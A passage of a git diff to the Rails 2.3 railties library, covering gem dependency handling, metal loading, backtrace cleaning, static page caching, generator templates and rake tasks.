@@ -586,7 +609,7 @@ Run `rake gems:install` to install the missing gems.
return unless configuration.frameworks.include?(:action_controller)
require 'dispatcher' unless defined?(::Dispatcher)
Dispatcher.define_dispatcher_callbacks(configuration.cache_classes)
- Dispatcher.new(Rails.logger).send :run_callbacks, :prepare_dispatch
+ Dispatcher.run_prepare_callbacks
end
def disable_dependency_loading
@@ -698,6 +721,11 @@ Run `rake gems:install` to install the missing gems.
@plugins = plugins.nil? ? nil : plugins.map { |p| p.to_sym }
end
+ # The list of metals to load. If this is set to <tt>nil</tt>, all metals will
+ # be loaded in alphabetical order. If this is set to <tt>[]</tt>, no metals will
+ # be loaded. Otherwise metals will be loaded in the order specified
+ attr_accessor :metals
+
# The path to the root of the plugins directory. By default, it is in
# <tt>vendor/plugins</tt>.
attr_accessor :plugin_paths
@@ -837,7 +865,8 @@ Run `rake gems:install` to install the missing gems.
# Enable threaded mode. Allows concurrent requests to controller actions and
# multiple database connections. Also disables automatic dependency loading
- # after boot
+ # after boot, and disables reloading code on every request, as these are
+ # fundamentally incompatible with thread safety.
def threadsafe!
self.preload_frameworks = true
self.cache_classes = true
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index e1b422716d..923ed8b31d 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -2,15 +2,15 @@ module Rails
class BacktraceCleaner < ActiveSupport::BacktraceCleaner
ERB_METHOD_SIG = /:in `_run_erb_.*/
- VENDOR_DIRS = %w( vendor/gems vendor/rails )
+ RAILS_GEMS = %w( actionpack activerecord actionmailer activesupport activeresource rails )
+
+ VENDOR_DIRS = %w( vendor/rails )
SERVER_DIRS = %w( lib/mongrel bin/mongrel
lib/passenger bin/passenger-spawn-server
lib/rack )
RAILS_NOISE = %w( script/server )
RUBY_NOISE = %w( rubygems/custom_require benchmark.rb )
- GEMS_DIR = Gem.default_dir
-
ALL_NOISE = VENDOR_DIRS + SERVER_DIRS + RAILS_NOISE + RUBY_NOISE
def initialize
@@ -18,10 +18,25 @@ module Rails
add_filter { |line| line.sub("#{RAILS_ROOT}/", '') }
add_filter { |line| line.sub(ERB_METHOD_SIG, '') }
add_filter { |line| line.sub('./', '/') } # for tests
- add_filter { |line| line.sub(/(#{GEMS_DIR})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')} # http://gist.github.com/30430
+
+ add_gem_filters
+
add_silencer { |line| ALL_NOISE.any? { |dir| line.include?(dir) } }
+ add_silencer { |line| RAILS_GEMS.any? { |gem| line =~ /^#{gem} / } }
add_silencer { |line| line =~ %r(vendor/plugins/[^\/]+/lib) }
end
+
+
+ private
+ def add_gem_filters
+ Gem.path.each do |path|
+ # http://gist.github.com/30430
+ add_filter { |line| line.sub(/(#{path})\/gems\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) \4')}
+ end
+
+ vendor_gems_path = Rails::GemDependency.unpacked_path.sub("#{RAILS_ROOT}/",'')
+ add_filter { |line| line.sub(/(#{vendor_gems_path})\/([a-z]+)-([0-9.]+)\/(.*)/, '\2 (\3) [v] \4')}
+ end
end
# For installing the BacktraceCleaner in the test/unit
diff --git a/railties/lib/rails/gem_dependency.rb b/railties/lib/rails/gem_dependency.rb
index 5a07841be8..3062a77104 100644
--- a/railties/lib/rails/gem_dependency.rb
+++ b/railties/lib/rails/gem_dependency.rb
@@ -7,8 +7,8 @@ module Gem
end
module Rails
- class GemDependency
- attr_accessor :lib, :source
+ class GemDependency < Gem::Dependency
+ attr_accessor :lib, :source, :dep
def self.unpacked_path
@unpacked_path ||= File.join(RAILS_ROOT, 'vendor', 'gems')
@@ -29,18 +29,6 @@ module Rails
end
end
- def framework_gem?
- @@framework_gems.has_key?(name)
- end
-
- def vendor_rails?
- Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty?
- end
-
- def vendor_gem?
- Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.include?(self.class.unpacked_path)
- end
-
def initialize(name, options = {})
require 'rubygems' unless Object.const_defined?(:Gem)
@@ -52,10 +40,11 @@ module Rails
req = Gem::Requirement.default
end
- @dep = Gem::Dependency.new(name, req)
@lib = options[:lib]
@source = options[:source]
@loaded = @frozen = @load_paths_added = false
+
+ super(name, req)
end
def add_load_paths
@@ -65,7 +54,7 @@ module Rails
@load_paths_added = @loaded = @frozen = true
return
end
- gem @dep
+ gem self
@spec = Gem.loaded_specs[name]
@frozen = @spec.loaded_from.include?(self.class.unpacked_path) if @spec
@load_paths_added = true
@@ -74,44 +63,67 @@ module Rails
def dependencies
return [] if framework_gem?
- return [] if specification.nil?
- all_dependencies = specification.dependencies.map do |dependency|
+ return [] unless installed?
+ specification.dependencies.reject do |dependency|
+ dependency.type == :development
+ end.map do |dependency|
GemDependency.new(dependency.name, :requirement => dependency.version_requirements)
end
- all_dependencies += all_dependencies.map(&:dependencies).flatten
- all_dependencies.uniq
end
- def gem_dir(base_directory)
- File.join(base_directory, specification.full_name)
- end
-
- def spec_filename(base_directory)
- File.join(gem_dir(base_directory), '.specification')
+ def specification
+ # code repeated from Gem.activate. Find a matching spec, or the currently loaded version.
+ # error out if loaded version and requested version are incompatible.
+ @spec ||= begin
+ matches = Gem.source_index.search(self)
+ matches << @@framework_gems[name] if framework_gem?
+ if Gem.loaded_specs[name] then
+ # This gem is already loaded. If the currently loaded gem is not in the
+ # list of candidate gems, then we have a version conflict.
+ existing_spec = Gem.loaded_specs[name]
+ unless matches.any? { |spec| spec.version == existing_spec.version } then
+ raise Gem::Exception,
+ "can't activate #{@dep}, already activated #{existing_spec.full_name}"
+ end
+ # we're stuck with it, so change to match
+ version_requirements = Gem::Requirement.create("=#{existing_spec.version}")
+ existing_spec
+ else
+ # new load
+ matches.last
+ end
+ end
end
- def load
- return if @loaded || @load_paths_added == false
- require(@lib || name) unless @lib == false
- @loaded = true
- rescue LoadError
- puts $!.to_s
- $!.backtrace.each { |b| puts b }
+ def requirement
+ r = version_requirements
+ (r == Gem::Requirement.default) ? nil : r
end
- def name
- @dep.name.to_s
+ def built?
+ # TODO: If Rubygems ever gives us a way to detect this, we should use it
+ false
end
- def requirement
- r = @dep.version_requirements
- (r == Gem::Requirement.default) ? nil : r
+ def framework_gem?
+ @@framework_gems.has_key?(name)
end
def frozen?
@frozen ||= vendor_rails? || vendor_gem?
end
+ def installed?
+ Gem.loaded_specs.keys.include?(name)
+ end
+
+ def load_paths_added?
+ # always try to add load paths - even if a gem is loaded, it may not
+ # be a compatible version (ie random_gem 0.4 is loaded and a later spec
+ # needs >= 0.5 - gem 'random_gem' will catch this and error out)
+ @load_paths_added
+ end
+
def loaded?
@loaded ||= begin
if vendor_rails?
@@ -135,46 +147,49 @@ module Rails
end
end
- def load_paths_added?
- # always try to add load paths - even if a gem is loaded, it may not
- # be a compatible version (ie random_gem 0.4 is loaded and a later spec
- # needs >= 0.5 - gem 'random_gem' will catch this and error out)
- @load_paths_added
+ def vendor_rails?
+ Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty?
end
- def install
- cmd = "#{gem_command} #{install_command.join(' ')}"
- puts cmd
- puts %x(#{cmd})
+ def vendor_gem?
+ specification && File.exists?(unpacked_gem_directory)
end
- def unpack_to(directory)
- FileUtils.mkdir_p directory
- Dir.chdir directory do
- Gem::GemRunner.new.run(unpack_command)
+ def build
+ require 'rails/gem_builder'
+ unless built?
+ return unless File.exists?(unpacked_specification_filename)
+ spec = YAML::load_file(unpacked_specification_filename)
+ Rails::GemBuilder.new(spec, unpacked_gem_directory).build_extensions
+ puts "Built gem: '#{unpacked_gem_directory}'"
end
-
- # Gem.activate changes the spec - get the original
- real_spec = Gem::Specification.load(specification.loaded_from)
- write_spec(directory, real_spec)
-
+ dependencies.each { |dep| dep.build }
end
- def write_spec(directory, spec)
- # copy the gem's specification into GEMDIR/.specification so that
- # we can access information about the gem on deployment systems
- # without having the gem installed
- File.open(spec_filename(directory), 'w') do |file|
- file.puts spec.to_yaml
+ def install
+ unless installed?
+ cmd = "#{gem_command} #{install_command.join(' ')}"
+ puts cmd
+ puts %x(#{cmd})
end
end
- def refresh_spec(directory)
+ def load
+ return if @loaded || @load_paths_added == false
+ require(@lib || name) unless @lib == false
+ @loaded = true
+ rescue LoadError
+ puts $!.to_s
+ $!.backtrace.each { |b| puts b }
+ end
+
+ def refresh
+ Rails::VendorGemSourceIndex.silence_spec_warnings = true
real_gems = Gem.source_index.installed_source_index
exact_dep = Gem::Dependency.new(name, "= #{specification.version}")
matches = real_gems.search(exact_dep)
installed_spec = matches.first
- if File.exist?(File.dirname(spec_filename(directory)))
+ if frozen?
if installed_spec
# we have a real copy
# get a fresh spec - matches should only have one element
@@ -182,11 +197,11 @@ module Rails
# spec is the same as the copy from real_gems - Gem.activate changes
# some of the fields
real_spec = Gem::Specification.load(matches.first.loaded_from)
- write_spec(directory, real_spec)
+ write_specification(real_spec)
puts "Reloaded specification for #{name} from installed gems."
else
# the gem isn't installed locally - write out our current specs
- write_spec(directory, specification)
+ write_specification(specification)
puts "Gem #{name} not loaded locally - writing out current spec."
end
else
@@ -198,42 +213,44 @@ module Rails
end
end
- def ==(other)
- self.name == other.name && self.requirement == other.requirement
+ def unpack(options={})
+ unless frozen? || framework_gem?
+ FileUtils.mkdir_p unpack_base
+ Dir.chdir unpack_base do
+ Gem::GemRunner.new.run(unpack_command)
+ end
+ # Gem.activate changes the spec - get the original
+ real_spec = Gem::Specification.load(specification.loaded_from)
+ write_specification(real_spec)
+ end
+ dependencies.each { |dep| dep.unpack } if options[:recursive]
end
- alias_method :"eql?", :"=="
- def hash
- @dep.hash
+ def write_specification(spec)
+ # copy the gem's specification into GEMDIR/.specification so that
+ # we can access information about the gem on deployment systems
+ # without having the gem installed
+ File.open(unpacked_specification_filename, 'w') do |file|
+ file.puts spec.to_yaml
+ end
end
- def specification
- # code repeated from Gem.activate. Find a matching spec, or the currently loaded version.
- # error out if loaded version and requested version are incompatible.
- @spec ||= begin
- matches = Gem.source_index.search(@dep)
- matches << @@framework_gems[name] if framework_gem?
- if Gem.loaded_specs[name] then
- # This gem is already loaded. If the currently loaded gem is not in the
- # list of candidate gems, then we have a version conflict.
- existing_spec = Gem.loaded_specs[name]
- unless matches.any? { |spec| spec.version == existing_spec.version } then
- raise Gem::Exception,
- "can't activate #{@dep}, already activated #{existing_spec.full_name}"
- end
- # we're stuck with it, so change to match
- @dep.version_requirements = Gem::Requirement.create("=#{existing_spec.version}")
- existing_spec
- else
- # new load
- matches.last
- end
- end
+ def ==(other)
+ self.name == other.name && self.requirement == other.requirement
end
+ alias_method :"eql?", :"=="
private
+
def gem_command
- RUBY_PLATFORM =~ /win32/ ? 'gem.bat' : 'gem'
+ case RUBY_PLATFORM
+ when /win32/
+ 'gem.bat'
+ when /java/
+ 'jruby -S gem'
+ else
+ 'gem'
+ end
end
def install_command
@@ -248,5 +265,18 @@ module Rails
cmd << "--version" << "= "+specification.version.to_s if requirement
cmd
end
+
+ def unpack_base
+ Rails::GemDependency.unpacked_path
+ end
+
+ def unpacked_gem_directory
+ File.join(unpack_base, specification.full_name)
+ end
+
+ def unpacked_specification_filename
+ File.join(unpacked_gem_directory, '.specification')
+ end
+
end
end
diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb
index 4901abe808..80deb73bbb 100644
--- a/railties/lib/rails/plugin.rb
+++ b/railties/lib/rails/plugin.rb
@@ -80,6 +80,10 @@ module Rails
File.join(directory, 'app', 'controllers')
end
+ def metal_path
+ File.join(directory, 'app', 'metal')
+ end
+
def routing_file
File.join(directory, 'config', 'routes.rb')
end
@@ -100,7 +104,7 @@ module Rails
def app_paths
- [ File.join(directory, 'app', 'models'), File.join(directory, 'app', 'helpers'), controller_path ]
+ [ File.join(directory, 'app', 'models'), File.join(directory, 'app', 'helpers'), controller_path, metal_path ]
end
def lib_path
@@ -160,4 +164,4 @@ module Rails
File.join(directory, 'rails', 'init.rb')
end
end
-end \ No newline at end of file
+end
diff --git a/railties/lib/rails/plugin/loader.rb b/railties/lib/rails/plugin/loader.rb
index be81bdf4fa..66e01d70da 100644
--- a/railties/lib/rails/plugin/loader.rb
+++ b/railties/lib/rails/plugin/loader.rb
@@ -16,7 +16,7 @@ module Rails
def initialize(initializer)
@initializer = initializer
end
-
+
# Returns the plugins to be loaded, in the order they should be loaded.
def plugins
@plugins ||= all_plugins.select { |plugin| should_load?(plugin) }.sort { |p1, p2| order_plugins(p1, p2) }
@@ -32,9 +32,9 @@ module Rails
@all_plugins ||= locate_plugins
@all_plugins
end
-
+
def load_plugins
- plugins.each do |plugin|
+ plugins.each do |plugin|
plugin.load(initializer)
register_plugin_as_loaded(plugin)
end
@@ -43,12 +43,12 @@ module Rails
ensure_all_registered_plugins_are_loaded!
end
-
+
# Adds the load paths for every plugin into the $LOAD_PATH. Plugin load paths are
# added *after* the application's <tt>lib</tt> directory, to ensure that an application
# can always override code within a plugin.
#
- # Plugin load paths are also added to Dependencies.load_paths, and Dependencies.load_once_paths.
+ # Plugin load paths are also added to Dependencies.load_paths, and Dependencies.load_once_paths.
def add_plugin_load_paths
plugins.each do |plugin|
plugin.load_paths.each do |path|
@@ -56,7 +56,7 @@ module Rails
ActiveSupport::Dependencies.load_paths << path
- unless Rails.configuration.reload_plugins?
+ unless configuration.reload_plugins?
ActiveSupport::Dependencies.load_once_paths << path
end
end
@@ -64,8 +64,11 @@ module Rails
$LOAD_PATH.uniq!
end
-
-
+
+ def engine_metal_paths
+ engines.collect(&:metal_path)
+ end
+
protected
def configure_engines
if engines.any?
@@ -74,20 +77,22 @@ module Rails
add_engine_view_paths
end
end
-
+
def add_engine_routing_configurations
engines.select(&:routed?).collect(&:routing_file).each do |routing_file|
ActionController::Routing::Routes.add_configuration_file(routing_file)
end
end
-
+
def add_engine_controller_paths
ActionController::Routing.controller_paths += engines.collect(&:controller_path)
end
-
+
def add_engine_view_paths
# reverse it such that the last engine can overwrite view paths from the first, like with routes
- ActionController::Base.view_paths += ActionView::PathSet.new(engines.collect(&:view_path).reverse)
+ paths = ActionView::PathSet.new(engines.collect(&:view_path).reverse)
+ ActionController::Base.view_paths.concat(paths)
+ ActionMailer::Base.view_paths.concat(paths) if configuration.frameworks.include?(:action_mailer)
end
# The locate_plugins method uses each class in config.plugin_locators to
@@ -106,7 +111,7 @@ module Rails
def configuration
initializer.configuration
end
-
+
def should_load?(plugin)
# uses Plugin#name and Plugin#valid?
enabled?(plugin) && plugin.valid?
@@ -120,21 +125,21 @@ module Rails
plugin_a <=> plugin_b
else
effective_order_of(plugin_a) <=> effective_order_of(plugin_b)
- end
+ end
end
end
-
+
def effective_order_of(plugin)
if explicitly_enabled?(plugin)
- registered_plugin_names.index(plugin.name)
+ registered_plugin_names.index(plugin.name)
else
registered_plugin_names.index('all')
- end
+ end
end
def application_lib_index
$LOAD_PATH.index(File.join(RAILS_ROOT, 'lib')) || 0
- end
+ end
def enabled?(plugin)
!explicit_plugin_loading_order? || registered?(plugin)
@@ -155,32 +160,32 @@ module Rails
def explicitly_registered?(plugin)
explicit_plugin_loading_order? && registered_plugin_names.include?(plugin.name)
end
-
+
def registered_plugins_names_plugin?(plugin)
registered_plugin_names.include?(plugin.name) || registered_plugin_names.include?('all')
end
-
+
# The plugins that have been explicitly listed with config.plugins. If this list is nil
- # then it means the client does not care which plugins or in what order they are loaded,
+ # then it means the client does not care which plugins or in what order they are loaded,
# so we load all in alphabetical order. If it is an empty array, we load no plugins, if it is
# non empty, we load the named plugins in the order specified.
def registered_plugin_names
configuration.plugins ? configuration.plugins.map(&:to_s) : nil
end
-
+
def loaded?(plugin_name)
initializer.loaded_plugins.detect { |plugin| plugin.name == plugin_name.to_s }
end
-
+
def ensure_all_registered_plugins_are_loaded!
if explicit_plugin_loading_order?
if configuration.plugins.detect {|plugin| plugin != :all && !loaded?(plugin) }
- missing_plugins = configuration.plugins - (plugins + [:all])
- raise LoadError, "Could not locate the following plugins: #{missing_plugins.to_sentence}"
+ missing_plugins = configuration.plugins - (plugins.map{|p| p.name.to_sym} + [:all])
+ raise LoadError, "Could not locate the following plugins: #{missing_plugins.to_sentence(:locale => :en)}"
end
end
end
-
+
end
end
-end \ No newline at end of file
+end
diff --git a/railties/lib/rails/rack/metal.rb b/railties/lib/rails/rack/metal.rb
index b185227234..adc43da864 100644
--- a/railties/lib/rails/rack/metal.rb
+++ b/railties/lib/rails/rack/metal.rb
@@ -6,15 +6,30 @@ module Rails
NotFoundResponse = [404, {}, []].freeze
NotFound = lambda { NotFoundResponse }
+ cattr_accessor :metal_paths
+ self.metal_paths = ["#{Rails.root}/app/metal"]
+ cattr_accessor :requested_metals
+
def self.metals
- base = "#{Rails.root}/app/metal"
- matcher = /\A#{Regexp.escape(base)}\/(.*)\.rb\Z/
+ matcher = /#{Regexp.escape('/app/metal/')}(.*)\.rb\Z/
+ metal_glob = metal_paths.map{ |base| "#{base}/**/*.rb" }
+ all_metals = {}
- Dir["#{base}/**/*.rb"].sort.map do |file|
- file.sub!(matcher, '\1')
- require file
- file.classify.constantize
+ metal_glob.each do |glob|
+ Dir[glob].sort.map do |file|
+ file = file.match(matcher)[1]
+ all_metals[file.camelize] = file
+ end
end
+
+ load_list = requested_metals || all_metals.keys
+
+ load_list.map do |requested_metal|
+ if metal = all_metals[requested_metal]
+ require metal
+ requested_metal.constantize
+ end
+ end.compact
end
def initialize(app)
diff --git a/railties/lib/rails/rack/static.rb b/railties/lib/rails/rack/static.rb
index ef4e2642e2..f07c6beb5e 100644
--- a/railties/lib/rails/rack/static.rb
+++ b/railties/lib/rails/rack/static.rb
@@ -13,14 +13,18 @@ module Rails
def call(env)
path = env['PATH_INFO'].chomp('/')
method = env['REQUEST_METHOD']
- cached_path = (path.empty? ? 'index' : path) + ::ActionController::Base.page_cache_extension
if FILE_METHODS.include?(method)
if file_exist?(path)
return @file_server.call(env)
- elsif file_exist?(cached_path)
- env['PATH_INFO'] = cached_path
- return @file_server.call(env)
+ else
+ cached_path = directory_exist?(path) ? "#{path}/index" : path
+ cached_path += ::ActionController::Base.page_cache_extension
+
+ if file_exist?(cached_path)
+ env['PATH_INFO'] = cached_path
+ return @file_server.call(env)
+ end
end
end
@@ -32,6 +36,11 @@ module Rails
full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
File.file?(full_path) && File.readable?(full_path)
end
+
+ def directory_exist?(path)
+ full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
+ File.directory?(full_path) && File.readable?(full_path)
+ end
end
end
end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 9bb4b2a96d..99c7516a65 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -2,7 +2,7 @@ module Rails
module VERSION #:nodoc:
MAJOR = 2
MINOR = 3
- TINY = 0
+ TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
diff --git a/railties/lib/rails_generator/commands.rb b/railties/lib/rails_generator/commands.rb
index 299044c3d7..b684dc92be 100644
--- a/railties/lib/rails_generator/commands.rb
+++ b/railties/lib/rails_generator/commands.rb
@@ -182,15 +182,19 @@ HELP
nesting = class_name.split('::')
name = nesting.pop
+ # Hack to limit const_defined? to non-inherited on 1.9.
+ extra = []
+ extra << false unless Object.method(:const_defined?).arity == 1
+
# Extract the last Module in the nesting.
last = nesting.inject(Object) { |last, nest|
- break unless last.const_defined?(nest)
+ break unless last.const_defined?(nest, *extra)
last.const_get(nest)
}
# If the last Module exists, check whether the given
# class exists and raise a collision if so.
- if last and last.const_defined?(name.camelize)
+ if last and last.const_defined?(name.camelize, *extra)
raise_class_collision(class_name)
end
end
diff --git a/railties/lib/rails_generator/generators/applications/app/template_runner.rb b/railties/lib/rails_generator/generators/applications/app/template_runner.rb
index 84e36ecc1b..3b49b1fa92 100644
--- a/railties/lib/rails_generator/generators/applications/app/template_runner.rb
+++ b/railties/lib/rails_generator/generators/applications/app/template_runner.rb
@@ -75,7 +75,7 @@ module Rails
end
elsif options[:git] || options[:svn]
in_root do
- run("script/plugin install #{options[:svn] || options[:git]}", false)
+ run_ruby_script("script/plugin install #{options[:svn] || options[:git]}", false)
end
else
log "! no git or svn provided for #{name}. skipping..."
@@ -85,26 +85,35 @@ module Rails
# Adds an entry into config/environment.rb for the supplied gem :
def gem(name, options = {})
log 'gem', name
+ env = options.delete(:env)
gems_code = "config.gem '#{name}'"
if options.any?
- opts = options.inject([]) {|result, h| result << [":#{h[0]} => '#{h[1]}'"] }.sort.join(", ")
+ opts = options.inject([]) {|result, h| result << [":#{h[0]} => #{h[1].inspect.gsub('"',"'")}"] }.sort.join(", ")
gems_code << ", #{opts}"
end
- environment gems_code
+ environment gems_code, :env => env
end
# Adds a line inside the Initializer block for config/environment.rb. Used by #gem
- def environment(data = nil, &block)
+ # If options :env is specified, the line is appended to the corresponding
+ # file in config/environments/#{env}.rb
+ def environment(data = nil, options = {}, &block)
sentinel = 'Rails::Initializer.run do |config|'
data = block.call if !data && block_given?
in_root do
- gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
- "#{match}\n " << data
+ if options[:env].nil?
+ gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
+ "#{match}\n " << data
+ end
+ else
+ Array.wrap(options[:env]).each do|env|
+ append_file "config/environments/#{env}.rb", "\n#{data}"
+ end
end
end
end
@@ -220,7 +229,7 @@ module Rails
log 'generating', what
argument = args.map(&:to_s).flatten.join(" ")
- in_root { run("script/generate #{what} #{argument}", false) }
+ in_root { run_ruby_script("script/generate #{what} #{argument}", false) }
end
# Executes a command
@@ -236,6 +245,12 @@ module Rails
`#{command}`
end
+ # Executes a ruby script (taking into account WIN32 platform quirks)
+ def run_ruby_script(command, log_action = true)
+ ruby_command = RUBY_PLATFORM=~ /win32/ ? 'ruby ' : ''
+ run("#{ruby_command}#{command}", log_action)
+ end
+
# Runs the supplied rake task
#
# ==== Example
@@ -301,7 +316,7 @@ module Rails
#
def ask(string)
log '', string
- gets.strip
+ STDIN.gets.strip
end
# Do something in the root of the Rails application or
@@ -350,6 +365,17 @@ module Rails
File.open(path, 'wb') { |file| file.write(content) }
end
+ # Append text to a file
+ #
+ # ==== Example
+ #
+ # append_file 'config/environments/test.rb', 'config.gem "rspec"'
+ #
+ def append_file(relative_destination, data)
+ path = destination_path(relative_destination)
+ File.open(path, 'ab') { |file| file.write(data) }
+ end
+
def destination_path(relative_destination)
File.join(root, relative_destination)
end
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb b/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
index cbfd88f3bd..4d190b9362 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/controller.rb
@@ -2,7 +2,7 @@ class <%= controller_class_name %>Controller < ApplicationController
# GET /<%= table_name %>
# GET /<%= table_name %>.xml
def index
- @<%= table_name %> = <%= class_name %>.find(:all)
+ @<%= table_name %> = <%= class_name %>.all
respond_to do |format|
format.html # index.html.erb
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb b/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
index 2d9d635944..cd2fc578bf 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/functional_test.rb
@@ -21,23 +21,23 @@ class <%= controller_class_name %>ControllerTest < ActionController::TestCase
end
test "should show <%= file_name %>" do
- get :show, :id => <%= table_name %>(:one).id
+ get :show, :id => <%= table_name %>(:one).to_param
assert_response :success
end
test "should get edit" do
- get :edit, :id => <%= table_name %>(:one).id
+ get :edit, :id => <%= table_name %>(:one).to_param
assert_response :success
end
test "should update <%= file_name %>" do
- put :update, :id => <%= table_name %>(:one).id, :<%= file_name %> => { }
+ put :update, :id => <%= table_name %>(:one).to_param, :<%= file_name %> => { }
assert_redirected_to <%= file_name %>_path(assigns(:<%= file_name %>))
end
test "should destroy <%= file_name %>" do
assert_difference('<%= class_name %>.count', -1) do
- delete :destroy, :id => <%= table_name %>(:one).id
+ delete :destroy, :id => <%= table_name %>(:one).to_param
end
assert_redirected_to <%= table_name %>_path
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb b/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
index 5c1f304232..ebc97f8130 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/layout.html.erb
@@ -11,7 +11,7 @@
<p style="color: green"><%%= flash[:notice] %></p>
-<%%= yield %>
+<%%= yield %>
</body>
</html>
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb b/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
index e289975596..cca1d61c68 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/view_edit.html.erb
@@ -10,9 +10,9 @@
</p>
<% end -%>
<p>
- <%%= f.submit "Update" %>
+ <%%= f.submit 'Update' %>
</p>
<%% end %>
<%%= link_to 'Show', @<%= singular_name %> %> |
-<%%= link_to 'Back', <%= plural_name %>_path %>
+<%%= link_to 'Back', <%= plural_name %>_path %> \ No newline at end of file
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb b/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
index e89757e3e9..2e603d5b4a 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/view_index.html.erb
@@ -7,7 +7,7 @@
<% end -%>
</tr>
-<%% for <%= singular_name %> in @<%= plural_name %> %>
+<%% @<%= plural_name %>.each do |<%= singular_name %>| %>
<tr>
<% for attribute in attributes -%>
<td><%%=h <%= singular_name %>.<%= attribute.name %> %></td>
@@ -21,4 +21,4 @@
<br />
-<%%= link_to 'New <%= singular_name %>', new_<%= singular_name %>_path %>
+<%%= link_to 'New <%= singular_name %>', new_<%= singular_name %>_path %> \ No newline at end of file
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb b/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
index c47e8117b4..96c89fc50e 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/view_new.html.erb
@@ -10,8 +10,8 @@
</p>
<% end -%>
<p>
- <%%= f.submit "Create" %>
+ <%%= f.submit 'Create' %>
</p>
<%% end %>
-<%%= link_to 'Back', <%= plural_name %>_path %>
+<%%= link_to 'Back', <%= plural_name %>_path %> \ No newline at end of file
diff --git a/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb b/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
index 9b6b11b029..adecaf70c6 100644
--- a/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
+++ b/railties/lib/rails_generator/generators/components/scaffold/templates/view_show.html.erb
@@ -7,4 +7,4 @@
<% end -%>
<%%= link_to 'Edit', edit_<%= singular_name %>_path(@<%= singular_name %>) %> |
-<%%= link_to 'Back', <%= plural_name %>_path %>
+<%%= link_to 'Back', <%= plural_name %>_path %> \ No newline at end of file
diff --git a/railties/lib/tasks/databases.rake b/railties/lib/tasks/databases.rake
index 68ffefae0b..9588fabb2d 100644
--- a/railties/lib/tasks/databases.rake
+++ b/railties/lib/tasks/databases.rake
@@ -250,6 +250,7 @@ namespace :db do
File.open(ENV['SCHEMA'] || "#{RAILS_ROOT}/db/schema.rb", "w") do |file|
ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, file)
end
+ Rake::Task["db:schema:dump"].reenable
end
desc "Load a schema.rb file into the database"
diff --git a/railties/lib/tasks/documentation.rake b/railties/lib/tasks/documentation.rake
index 6caf69ccd3..8b41478a93 100644
--- a/railties/lib/tasks/documentation.rake
+++ b/railties/lib/tasks/documentation.rake
@@ -54,15 +54,8 @@ namespace :doc do
desc "Generate Rails guides"
task :guides do
- source = File.join(RAILTIES_PATH, "doc/guides")
- destination = File.join(RAILS_ROOT, "doc/guides")
- FileUtils.rm_r(destination) if File.directory?(destination)
- FileUtils.mkdir(destination)
-
- FileUtils.cp_r File.join(source, 'html/.'), File.join(destination)
- # Copy images and css files to html directory. These dirs are in .gitigore and shouldn't be source controlled.
- FileUtils.cp_r File.join(source, 'source/images'), File.join(destination)
- FileUtils.cp_r File.join(source, 'source/stylesheets'), File.join(destination, 'stylesheets')
+ require File.join(RAILTIES_PATH, "guides/rails_guides")
+ RailsGuides::Generator.new(File.join(RAILS_ROOT, "doc/guides")).generate
end
namespace :plugins do
diff --git a/railties/lib/tasks/gems.rake b/railties/lib/tasks/gems.rake
index e6731ab78c..ed07bf2016 100644
--- a/railties/lib/tasks/gems.rake
+++ b/railties/lib/tasks/gems.rake
@@ -9,72 +9,57 @@ task :gems => 'gems:base' do
puts "R = Framework (loaded before rails starts)"
end
-def print_gem_status(gem, indent=1)
- code = gem.loaded? ? (gem.frozen? ? (gem.framework_gem? ? "R" : "F") : "I") : " "
- puts " "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}"
- gem.dependencies.each { |g| print_gem_status(g, indent+1)} if gem.loaded?
-end
-
namespace :gems do
task :base do
- $rails_rake_task = true
+ $gems_rake_task = true
+ require 'rubygems'
+ require 'rubygems/gem_runner'
